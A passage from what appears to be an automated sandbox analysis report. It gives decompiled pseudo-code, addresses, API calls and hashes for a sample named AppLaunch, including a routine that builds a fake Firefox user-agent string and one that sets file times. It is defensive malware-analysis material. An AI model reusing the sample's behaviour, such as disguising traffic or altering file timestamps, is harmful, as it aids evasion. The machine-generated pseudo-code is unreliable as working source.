										__eflags = _t95 -  *((intOrPtr*)(_t131 + 4));
										if(_t95 !=  *((intOrPtr*)(_t131 + 4))) {
											 *((intOrPtr*)(_t131 + 0x10)) = _t95;
											 *((intOrPtr*)(_t131 + 0x14)) =  *((intOrPtr*)(_t131 + 0x14)) +  *((intOrPtr*)(_t131 + 0x50)) +  *((intOrPtr*)(_t131 + 0x4c)) +  *((intOrPtr*)(_t131 + 0x48)) + 0x2e;
											_t98 = L00408550(_t131, _t131 + 0x28, _t131 + 0x78, 0, 0);
											_t135 = _t135 + 0x10;
											asm("sbb eax, eax");
											_t100 =  ~_t98 + 1;
											__eflags = _t100;
											 *(_t131 + 0x18) = _t100;
										}
									}
								}
								_t123 =  *_t103;
								__eflags =  *((intOrPtr*)(_t123 + 0x10)) - _t127;
							} while ( *((intOrPtr*)(_t123 + 0x10)) < _t127);
							goto L15;
						}
					} else {
						goto L6;
					}
				} else {
					_t70 = 0x80000;
					goto L46;
				}
			}

0x0040a020
0x0040a029
0x0040a030
0x0040a037
0x0040a03d
0x0040a046
0x0040a07c
0x0040a07c
0x0040a2c7
0x0040a2ce
0x0040a2dc
0x0040a2dc
0x0040a04b
0x0040a057
0x0040a05a
0x0040a05d
0x0040a063
0x0040a066
0x0040a06a
0x0040a06a
0x0040a06f
0x0040a072
0x0040a075
0x0040a077
0x0040a07a
0x0040a086
0x0040a089
0x0040a08b
0x0040a08b
0x0040a090
0x0040a092
0x0040a095
0x0040a0e4
0x0040a0e5
0x0040a0ed
0x0040a0f8
0x0040a0fb
0x0040a0fd
0x0040a106
0x0040a10c
0x0040a10e
0x0040a115
0x0040a117
0x0040a119
0x0040a11b
0x0040a133
0x0040a140
0x0040a145
0x0040a148
0x0040a14a
0x0040a1ad
0x0040a1b5
0x0040a1bb
0x0040a1bd
0x0040a1d0
0x0040a1e4
0x0040a1ea
0x0040a177
0x0040a177
0x0040a198
0x0040a19a
0x0040a19d
0x0040a1f8
0x0040a1fd
0x0040a203
0x0040a206
0x0040a20d
0x0040a20f
0x0040a214
0x0040a219
0x0040a21c
0x0040a21c
0x0040a222
0x0040a230
0x0040a236
0x0040a240
0x0040a24a
0x0040a24c
0x0040a24f
0x0040a252
0x00000000
0x00000000
0x0040a258
0x0040a25a
0x0040a287
0x0040a287
0x0040a291
0x0040a293
0x0040a298
0x0040a29e
0x0040a2a0
0x0040a2b0
0x0040a2b8
0x0040a2b8
0x0040a2bf
0x0040a2c5
0x00000000
0x0040a2c5
0x0040a25c
0x0040a27a
0x0040a27a
0x0040a281
0x00000000
0x00000000
0x0040a283
0x0040a285
0x00000000
0x00000000
0x00000000
0x0040a285
0x0040a25e
0x0040a266
0x0040a270
0x0040a276
0x0040a278
0x0040a2e9
0x00000000
0x0040a2e9
0x00000000
0x0040a278
0x0040a2dd
0x00000000
0x0040a2dd
0x0040a19f
0x00000000
0x0040a19f
0x0040a1bf
0x0040a1c1
0x00000000
0x00000000
0x0040a1c3
0x0040a1c5
0x0040a153
0x0040a16e
0x0040a174
0x00000000
0x0040a174
0x0040a1c7
0x0040a1ce
0x00000000
0x00000000
0x00000000
0x0040a1ce
0x0040a14c
0x00000000
0x0040a14c
0x0040a120
0x0040a120
0x0040a122
0x0040a128
0x0040a128
0x00000000
0x0040a128
0x0040a124
0x0040a126
0x00000000
0x00000000
0x00000000
0x0040a12b
0x0040a12b
0x0040a12e
0x0040a12f
0x0040a12f
0x00000000
0x0040a120
0x0040a0ff
0x00000000
0x0040a097
0x0040a097
0x0040a097
0x0040a099
0x0040a09b
0x0040a09d
0x0040a0a1
0x0040a0a6
0x0040a0a7
0x0040a0aa
0x0040a0b7
0x0040a0be
0x0040a0cd
0x0040a0d2
0x0040a0d7
0x0040a0d9
0x0040a0d9
0x0040a0da
0x0040a0da
0x0040a0aa
0x0040a0a1
0x0040a0dd
0x0040a0df
0x0040a0df
0x00000000
0x0040a097
0x00000000
0x00000000
0x00000000
0x0040a04d
0x0040a04d
0x00000000
0x0040a04d

APIs

SetFileTime.KERNEL32(00000000,?,?,?), ref: 0040A2B8
CloseHandle.KERNEL32(00000000), ref: 0040A2BF

Strings

%s%s%s, xrefs: 0040A168
:, xrefs: 0040A1C7
%s%s, xrefs: 0040A1DE

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CloseFileHandleTime
String ID: %s%s$%s%s%s$:
API String ID: 2100898393-3034790606
Opcode ID: 25878da9391ca9ff7d4665d3febc2f4ba0cfc8b3e01cd9ebe4576d6dda0b528f
Instruction ID: ce2a6045e6a17bb67579c5bb73e65df55ce1c82285a12086de6c2efdf3b7955c
Opcode Fuzzy Hash: 25878da9391ca9ff7d4665d3febc2f4ba0cfc8b3e01cd9ebe4576d6dda0b528f
Instruction Fuzzy Hash: A881D2319007189BDB25CF14CC84BEA77B4AB44304F0446FEE959AB3C1D739AE95CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F880 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0041F880(intOrPtr __ecx, void* __eflags) {
				char _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v28;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t25;
				signed int _t26;
				void* _t30;
				void* _t35;
				void* _t38;
				char* _t46;
				void* _t48;
				void* _t63;
				intOrPtr _t65;
				void* _t66;
				signed int _t67;
				void* _t68;
				void* _t71;
				void* _t72;

				_push(0xffffffff);
				_push(E0043E0A9);
				_push( *[fs:0x0]);
				_t25 =  *0x450664; // 0x30e242aa
				_t26 = _t25 ^ _t67;
				_v20 = _t26;
				_push(_t26);
				 *[fs:0x0] =  &_v16;
				_v8 = 0;
				_t65 = __ecx;
				_v56 = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0xf;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				_v60 = __ecx;
				 *((char*)(__ecx)) = 0;
				E004050C0(_t65, 0x4485e7, L00429C90(0x4485e7));
				_v8 = 0;
				_v56 = 1;
				_t30 = L00429C90("Mozilla/5.0 (Windows NT 10.0; ");
				_t71 = _t68 - 0x2c + 8;
				E004050C0(_t65, "Mozilla/5.0 (Windows NT 10.0; ", _t30);
				_push( &_v52);
				_v52 = 0;
				_push(GetCurrentProcess());
				if( *0x453500() == 0) {
					L2:
					_t46 = "x86";
				} else {
					_t77 = _v52;
					_t46 = "x64";
					if(_v52 == 0) {
						goto L2;
					}
				}
				_t35 = E004109C0(_t46, _t77,  &_v48, _t65);
				_t72 = _t71 + 8;
				_v8 = 1;
				E00405040(_t35, _t65);
				_v8 = 0;
				_t78 = _v28 - 0x10;
				if(_v28 >= 0x10) {
					_t58 = _v48;
					_push(_v48);
					E00429B0B();
					_t72 = _t72 + 4;
				}
				_t38 = E004109C0(" rv:107.0) Gecko / 20100101 Firefox / 107.0", _t78,  &_v48, _t65);
				_v8 = 2;
				E00405040(_t38, _t65);
				if(_v28 >= 0x10) {
					_push(_v48);
					E00429B0B();
				}
				 *[fs:0x0] = _v16;
				_pop(_t63);
				_pop(_t66);
				_pop(_t48);
				return E00429B16(_t65, _t48, _v20 ^ _t67, _t58, _t63, _t66);
			}

0x0041f883
0x0041f885
0x0041f890
0x0041f894
0x0041f899
0x0041f89b
0x0041f8a1
0x0041f8a5
0x0041f8ad
0x0041f8b0
0x0041f8b2
0x0041f8b5
0x0041f8bc
0x0041f8c4
0x0041f8c7
0x0041f8d9
0x0041f8de
0x0041f8eb
0x0041f8ee
0x0041f8f3
0x0041f8fe
0x0041f906
0x0041f907
0x0041f910
0x0041f919
0x0041f925
0x0041f925
0x0041f91b
0x0041f91b
0x0041f91e
0x0041f923
0x00000000
0x00000000
0x0041f923
0x0041f92f
0x0041f934
0x0041f937
0x0041f93c
0x0041f941
0x0041f945
0x0041f949
0x0041f94b
0x0041f94e
0x0041f94f
0x0041f954
0x0041f954
0x0041f961
0x0041f96b
0x0041f972
0x0041f97b
0x0041f980
0x0041f981
0x0041f986
0x0041f98e
0x0041f996
0x0041f997
0x0041f998
0x0041f9a6

APIs

_strlen.LIBCMT ref: 0041F8C9
_strlen.LIBCMT ref: 0041F8EE
GetCurrentProcess.KERNEL32(00000002,Mozilla/5.0 (Windows NT 10.0; ,00000000,00000000,00000002), ref: 0041F90A
IsWow64Process.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000,0043E0A9,000000FF), ref: 0041F911

Strings

Mozilla/5.0 (Windows NT 10.0; , xrefs: 0041F8E6, 0041F8F7
rv:107.0) Gecko / 20100101 Firefox / 107.0, xrefs: 0041F95C
x64, xrefs: 0041F91E
x86, xrefs: 0041F925

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Process_strlen$CurrentWow64
String ID: rv:107.0) Gecko / 20100101 Firefox / 107.0$Mozilla/5.0 (Windows NT 10.0; $x64$x86
API String ID: 2590077329-3528451930
Opcode ID: ef64a1a142b08e0d0bf2047170e75c94cfb03952672dd5aa9b919f44005cd695
Instruction ID: bc45d171a2a5dd9cb4320a7f0cee76334bc1ecdac8099aeb411378f3ad90db83
Opcode Fuzzy Hash: ef64a1a142b08e0d0bf2047170e75c94cfb03952672dd5aa9b919f44005cd695
Instruction Fuzzy Hash: 2731A7B1E10218BBDB10DFA5E885B9EBBB8EB48714F50413FF405A7342E7799904CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0042C35E Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E0042C35E(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t11;
				intOrPtr _t13;
				void* _t19;
				intOrPtr _t22;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				void* _t27;
				void* _t33;
				signed int _t36;
				intOrPtr* _t37;
				void* _t39;
				intOrPtr* _t40;
				intOrPtr* _t41;

				_t40 = __imp__DecodePointer;
				_t11 =  *_t40( *0x464128, _t33, _t39, _t23, _t27);
				_t24 = _t11;
				_v8 = _t24;
				_t41 =  *_t40( *0x464124);
				if(_t41 < _t24) {
					L11:
					_t13 = 0;
				} else {
					_t36 = _t41 - _t24;
					_t2 = _t36 + 4; // 0x4
					if(_t2 < 4) {
						goto L11;
					} else {
						_t26 = L00432D1C(_t24);
						_t3 = _t36 + 4; // 0x4
						if(_t26 >= _t3) {
							L10:
							_t37 = __imp__EncodePointer;
							 *_t41 =  *_t37(_a4);
							 *0x464124 =  *_t37(_t41 + 4);
							_t13 = _a4;
						} else {
							_t19 = 0x800;
							if(_t26 < 0x800) {
								_t19 = _t26;
							}
							_t20 = _t19 + _t26;
							if(_t19 + _t26 < _t26) {
								L7:
								_t5 = _t26 + 0x10; // 0x10
								_t21 = _t5;
								if(_t5 < _t26) {
									goto L11;
								} else {
									_t22 = E0042F2EB(_v8, _t21);
									if(_t22 == 0) {
										goto L11;
									} else {
										goto L9;
									}
								}
							} else {
								_t22 = E0042F2EB(_v8, _t20);
								if(_t22 != 0) {
									L9:
									_t41 = _t22 + (_t36 >> 2) * 4;
									__imp__EncodePointer(_t22);
									 *0x464128 = _t22;
									goto L10;
								} else {
									goto L7;
								}
							}
						}
					}
				}
				return _t13;
			}

0x0042c366
0x0042c373
0x0042c37b
0x0042c37d
0x0042c382
0x0042c386
0x0042c40d
0x0042c40d
0x0042c38c
0x0042c38e
0x0042c390
0x0042c396
0x00000000
0x0042c398
0x0042c39e
0x0042c3a0
0x0042c3a6
0x0042c3f0
0x0042c3f3
0x0042c3fb
0x0042c403
0x0042c408
0x0042c3a8
0x0042c3a8
0x0042c3af
0x0042c3b1
0x0042c3b1
0x0042c3b3
0x0042c3b7
0x0042c3c8
0x0042c3c8
0x0042c3c8
0x0042c3cd
0x00000000
0x0042c3cf
0x0042c3d3
0x0042c3dc
0x00000000
0x00000000
0x00000000
0x00000000
0x0042c3dc
0x0042c3b9
0x0042c3bd
0x0042c3c6
0x0042c3de
0x0042c3e2
0x0042c3e5
0x0042c3eb
0x00000000
0x00000000
0x00000000
0x00000000
0x0042c3c6
0x0042c3b7
0x0042c3a6
0x0042c396
0x0042c413

APIs

RtlDecodePointer.NTDLL(00451C90), ref: 0042C373
RtlDecodePointer.NTDLL ref: 0042C380
__realloc_crt.LIBCMT ref: 0042C3BD
__realloc_crt.LIBCMT ref: 0042C3D3
RtlEncodePointer.NTDLL(00000000), ref: 0042C3E5
RtlEncodePointer.NTDLL(00000400), ref: 0042C3F9
RtlEncodePointer.NTDLL(-00000004), ref: 0042C401

Strings

pO@, xrefs: 0042C365

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Pointer$Encode$Decode__realloc_crt
String ID: pO@
API String ID: 4108716018-2861409048
Opcode ID: 14620da396292ef0696307bfb278c9600185ac42c0db3583ae30141fcef94f5b
Instruction ID: 7db8a425a2bd57307218644a152ad1f0d22796636288dbdd1e256058eb2ce0cd
Opcode Fuzzy Hash: 14620da396292ef0696307bfb278c9600185ac42c0db3583ae30141fcef94f5b
Instruction Fuzzy Hash: DD11E932700125AFDB00AF24FDC489F7BE9EB45320361443BE901E3211EBB5ED458A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041E0E0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0041E0E0(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v40;
				signed int _t28;
				intOrPtr _t32;
				void* _t36;
				intOrPtr _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t47;
				signed int _t48;
				char _t50;
				intOrPtr _t53;
				intOrPtr* _t65;
				signed int _t67;
				intOrPtr _t68;
				signed int _t70;

				_t65 = __edi;
				_push(0xffffffff);
				_push(E0043D938);
				_push( *[fs:0x0]);
				_t28 =  *0x450664; // 0x30e242aa
				_push(_t28 ^ _t70);
				 *[fs:0x0] =  &_v16;
				L0042962D( &_v28, 0);
				_v8 = 0;
				_t50 =  *0x4537e0; // 0x0
				_v20 = _t50;
				if( *0x463ff0 == 0) {
					L0042962D( &_v24, 0);
					if( *0x463ff0 == 0) {
						_t47 =  *0x451ac4; // 0x3
						_t48 = _t47 + 1;
						 *0x451ac4 = _t48;
						 *0x463ff0 = _t48;
					}
					L00429655( &_v24);
				}
				_t67 =  *0x463ff0;
				_t32 =  *_t65;
				if(_t67 >=  *((intOrPtr*)(_t32 + 0xc))) {
					_t53 = 0;
					goto L6;
				} else {
					_t53 =  *((intOrPtr*)( *((intOrPtr*)(_t32 + 8)) + _t67 * 4));
					if(_t53 != 0) {
						L10:
						_t68 = _t53;
						L11:
						if(_t68 != 0) {
							L19:
							_v8 = 0xffffffff;
							L00429655( &_v28);
							 *[fs:0x0] = _v16;
							return _t68;
						}
						L12:
						if(_t50 == 0) {
							_t36 = E0041E220( &_v20, _t65);
							__eflags = _t36 - 0xffffffff;
							if(_t36 == 0xffffffff) {
								E0042A23E( &_v40, "bad cast");
								L0042D646( &_v40, 0x44ce2c);
							}
							_t68 = _v20;
							 *0x4537e0 = _t68;
							L0042962D( &_v24, 0);
							_t38 =  *((intOrPtr*)(_t68 + 4));
							__eflags = _t38 - 0xffffffff;
							if(_t38 < 0xffffffff) {
								_t41 = _t38 + 1;
								__eflags = _t41;
								 *((intOrPtr*)(_t68 + 4)) = _t41;
							}
							L00429655( &_v24);
							E0042928C(__eflags, _t68);
						} else {
							_t68 = _t50;
						}
						goto L19;
					}
					L6:
					if( *((char*)(_t32 + 0x14)) == 0) {
						goto L10;
					}
					_t44 = E00429303();
					if(_t67 >=  *((intOrPtr*)(_t44 + 0xc))) {
						goto L12;
					}
					_t68 =  *((intOrPtr*)( *((intOrPtr*)(_t44 + 8)) + _t67 * 4));
					goto L11;
				}
			}

0x0041e0e0
0x0041e0e3
0x0041e0e5
0x0041e0f0
0x0041e0f6
0x0041e0fd
0x0041e101
0x0041e10c
0x0041e111
0x0041e11f
0x0041e125
0x0041e128
0x0041e12f
0x0041e13b
0x0041e13d
0x0041e142
0x0041e143
0x0041e148
0x0041e148
0x0041e150
0x0041e150
0x0041e155
0x0041e15b
0x0041e160
0x0041e184
0x00000000
0x0041e162
0x0041e165
0x0041e16a
0x0041e188
0x0041e188
0x0041e18a
0x0041e18c
0x0041e1f3
0x0041e1f6
0x0041e1fd
0x0041e207
0x0041e214
0x0041e214
0x0041e18e
0x0041e190
0x0041e19b
0x0041e1a3
0x0041e1a6
0x0041e1b0
0x0041e1be
0x0041e1be
0x0041e1c3
0x0041e1cb
0x0041e1d1
0x0041e1d6
0x0041e1d9
0x0041e1dc
0x0041e1de
0x0041e1de
0x0041e1df
0x0041e1df
0x0041e1e5
0x0041e1eb
0x0041e192
0x0041e192
0x0041e192
0x00000000
0x0041e190
0x0041e16c
0x0041e170
0x00000000
0x00000000
0x0041e172
0x0041e17a
0x00000000
0x00000000
0x0041e17f
0x00000000
0x0041e17f

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0041E10C
std::_Lockit::_Lockit.LIBCPMT ref: 0041E12F
std::bad_exception::bad_exception.LIBCMT ref: 0041E1B0
__CxxThrowException@8.LIBCMT ref: 0041E1BE
std::_Lockit::_Lockit.LIBCPMT ref: 0041E1D1
std::locale::facet::_Facet_Register.LIBCPMT ref: 0041E1EB

Strings

bad cast, xrefs: 0041E1A8

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: dd96fc3f0ce149276d8436e18578077af5e6762632384b721961ad38fae82eea
Instruction ID: 08d2a10f05ea42d038a12e12992e26c49472d287f63060b92e937078edc6dd2c
Opcode Fuzzy Hash: dd96fc3f0ce149276d8436e18578077af5e6762632384b721961ad38fae82eea
Instruction Fuzzy Hash: 7D31B175D00215ABCB14DF56E941BEEB3B4FB14724F50026FEC22A3291DB78AE40CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004238A0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004238A0(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v40;
				signed int _t28;
				intOrPtr _t32;
				void* _t36;
				intOrPtr _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t47;
				signed int _t48;
				char _t50;
				intOrPtr _t53;
				intOrPtr* _t65;
				signed int _t67;
				intOrPtr _t68;
				signed int _t70;

				_t65 = __edi;
				_push(0xffffffff);
				_push(E0043D938);
				_push( *[fs:0x0]);
				_t28 =  *0x450664; // 0x30e242aa
				_push(_t28 ^ _t70);
				 *[fs:0x0] =  &_v16;
				L0042962D( &_v28, 0);
				_v8 = 0;
				_t50 =  *0x4537e4; // 0x4e72fc0
				_v20 = _t50;
				if( *0x463ff4 == 0) {
					L0042962D( &_v24, 0);
					if( *0x463ff4 == 0) {
						_t47 =  *0x451ac4; // 0x3
						_t48 = _t47 + 1;
						 *0x451ac4 = _t48;
						 *0x463ff4 = _t48;
					}
					L00429655( &_v24);
				}
				_t67 =  *0x463ff4;
				_t32 =  *_t65;
				if(_t67 >=  *((intOrPtr*)(_t32 + 0xc))) {
					_t53 = 0;
					goto L6;
				} else {
					_t53 =  *((intOrPtr*)( *((intOrPtr*)(_t32 + 8)) + _t67 * 4));
					if(_t53 != 0) {
						L10:
						_t68 = _t53;
						L11:
						if(_t68 != 0) {
							L19:
							_v8 = 0xffffffff;
							L00429655( &_v28);
							 *[fs:0x0] = _v16;
							return _t68;
						}
						L12:
						if(_t50 == 0) {
							_t36 = E00423B20(_t64,  &_v20, _t65);
							__eflags = _t36 - 0xffffffff;
							if(_t36 == 0xffffffff) {
								E0042A23E( &_v40, "bad cast");
								L0042D646( &_v40, 0x44ce2c);
							}
							_t68 = _v20;
							 *0x4537e4 = _t68;
							L0042962D( &_v24, 0);
							_t38 =  *((intOrPtr*)(_t68 + 4));
							__eflags = _t38 - 0xffffffff;
							if(_t38 < 0xffffffff) {
								_t41 = _t38 + 1;
								__eflags = _t41;
								 *((intOrPtr*)(_t68 + 4)) = _t41;
							}
							L00429655( &_v24);
							E0042928C(__eflags, _t68);
						} else {
							_t68 = _t50;
						}
						goto L19;
					}
					L6:
					if( *((char*)(_t32 + 0x14)) == 0) {
						goto L10;
					}
					_t44 = E00429303();
					if(_t67 >=  *((intOrPtr*)(_t44 + 0xc))) {
						goto L12;
					}
					_t64 =  *((intOrPtr*)(_t44 + 8));
					_t68 =  *((intOrPtr*)( *((intOrPtr*)(_t44 + 8)) + _t67 * 4));
					goto L11;
				}
			}

0x004238a0
0x004238a3
0x004238a5
0x004238b0
0x004238b6
0x004238bd
0x004238c1
0x004238cc
0x004238d1
0x004238df
0x004238e5
0x004238e8
0x004238ef
0x004238fb
0x004238fd
0x00423902
0x00423903
0x00423908
0x00423908
0x00423910
0x00423910
0x00423915
0x0042391b
0x00423920
0x00423944
0x00000000
0x00423922
0x00423925
0x0042392a
0x00423948
0x00423948
0x0042394a
0x0042394c
0x004239b3
0x004239b6
0x004239bd
0x004239c7
0x004239d4
0x004239d4
0x0042394e
0x00423950
0x0042395b
0x00423963
0x00423966
0x00423970
0x0042397e
0x0042397e
0x00423983
0x0042398b
0x00423991
0x00423996
0x00423999
0x0042399c
0x0042399e
0x0042399e
0x0042399f
0x0042399f
0x004239a5
0x004239ab
0x00423952
0x00423952
0x00423952
0x00000000
0x00423950
0x0042392c
0x00423930
0x00000000
0x00000000
0x00423932
0x0042393a
0x00000000
0x00000000
0x0042393c
0x0042393f
0x00000000
0x0042393f

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004238CC
std::_Lockit::_Lockit.LIBCPMT ref: 004238EF
std::bad_exception::bad_exception.LIBCMT ref: 00423970
__CxxThrowException@8.LIBCMT ref: 0042397E
std::_Lockit::_Lockit.LIBCPMT ref: 00423991
std::locale::facet::_Facet_Register.LIBCPMT ref: 004239AB

Strings

bad cast, xrefs: 00423968

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 052727642b4e5fd7b6e7e49c209f7886706b64f9382e3be9265abd0ec0449b37
Instruction ID: 0a2a569fee53bd77d9debb682a73096677ee069bccd70dc4eb2a0206cce1b93c
Opcode Fuzzy Hash: 052727642b4e5fd7b6e7e49c209f7886706b64f9382e3be9265abd0ec0449b37
Instruction Fuzzy Hash: 55312EB1E002218FCB14DF54E941BAEB3B4EB15725F90015FE411632D1DB7CAE40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004239E0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004239E0(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v40;
				signed int _t28;
				intOrPtr _t32;
				void* _t36;
				intOrPtr _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t47;
				signed int _t48;
				char _t50;
				intOrPtr _t53;
				intOrPtr* _t65;
				signed int _t67;
				intOrPtr _t68;
				signed int _t70;

				_t65 = __edi;
				_push(0xffffffff);
				_push(E0043D938);
				_push( *[fs:0x0]);
				_t28 =  *0x450664; // 0x30e242aa
				_push(_t28 ^ _t70);
				 *[fs:0x0] =  &_v16;
				L0042962D( &_v28, 0);
				_v8 = 0;
				_t50 =  *0x4537e8; // 0x4e72ea0
				_v20 = _t50;
				if( *0x463ff8 == 0) {
					L0042962D( &_v24, 0);
					if( *0x463ff8 == 0) {
						_t47 =  *0x451ac4; // 0x3
						_t48 = _t47 + 1;
						 *0x451ac4 = _t48;
						 *0x463ff8 = _t48;
					}
					L00429655( &_v24);
				}
				_t67 =  *0x463ff8;
				_t32 =  *_t65;
				if(_t67 >=  *((intOrPtr*)(_t32 + 0xc))) {
					_t53 = 0;
					goto L6;
				} else {
					_t53 =  *((intOrPtr*)( *((intOrPtr*)(_t32 + 8)) + _t67 * 4));
					if(_t53 != 0) {
						L10:
						_t68 = _t53;
						L11:
						if(_t68 != 0) {
							L19:
							_v8 = 0xffffffff;
							L00429655( &_v28);
							 *[fs:0x0] = _v16;
							return _t68;
						}
						L12:
						if(_t50 == 0) {
							_t36 = L00423BE0( &_v20, _t65);
							__eflags = _t36 - 0xffffffff;
							if(_t36 == 0xffffffff) {
								E0042A23E( &_v40, "bad cast");
								L0042D646( &_v40, 0x44ce2c);
							}
							_t68 = _v20;
							 *0x4537e8 = _t68;
							L0042962D( &_v24, 0);
							_t38 =  *((intOrPtr*)(_t68 + 4));
							__eflags = _t38 - 0xffffffff;
							if(_t38 < 0xffffffff) {
								_t41 = _t38 + 1;
								__eflags = _t41;
								 *((intOrPtr*)(_t68 + 4)) = _t41;
							}
							L00429655( &_v24);
							E0042928C(__eflags, _t68);
						} else {
							_t68 = _t50;
						}
						goto L19;
					}
					L6:
					if( *((char*)(_t32 + 0x14)) == 0) {
						goto L10;
					}
					_t44 = E00429303();
					if(_t67 >=  *((intOrPtr*)(_t44 + 0xc))) {
						goto L12;
					}
					_t68 =  *((intOrPtr*)( *((intOrPtr*)(_t44 + 8)) + _t67 * 4));
					goto L11;
				}
			}

0x004239e0
0x004239e3
0x004239e5
0x004239f0
0x004239f6
0x004239fd
0x00423a01
0x00423a0c
0x00423a11
0x00423a1f
0x00423a25
0x00423a28
0x00423a2f
0x00423a3b
0x00423a3d
0x00423a42
0x00423a43
0x00423a48
0x00423a48
0x00423a50
0x00423a50
0x00423a55
0x00423a5b
0x00423a60
0x00423a84
0x00000000
0x00423a62
0x00423a65
0x00423a6a
0x00423a88
0x00423a88
0x00423a8a
0x00423a8c
0x00423af3
0x00423af6
0x00423afd
0x00423b07
0x00423b14
0x00423b14
0x00423a8e
0x00423a90
0x00423a9b
0x00423aa3
0x00423aa6
0x00423ab0
0x00423abe
0x00423abe
0x00423ac3
0x00423acb
0x00423ad1
0x00423ad6
0x00423ad9
0x00423adc
0x00423ade
0x00423ade
0x00423adf
0x00423adf
0x00423ae5
0x00423aeb
0x00423a92
0x00423a92
0x00423a92
0x00000000
0x00423a90
0x00423a6c
0x00423a70
0x00000000
0x00000000
0x00423a72
0x00423a7a
0x00000000
0x00000000
0x00423a7f
0x00000000
0x00423a7f

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00423A0C
std::_Lockit::_Lockit.LIBCPMT ref: 00423A2F
std::bad_exception::bad_exception.LIBCMT ref: 00423AB0
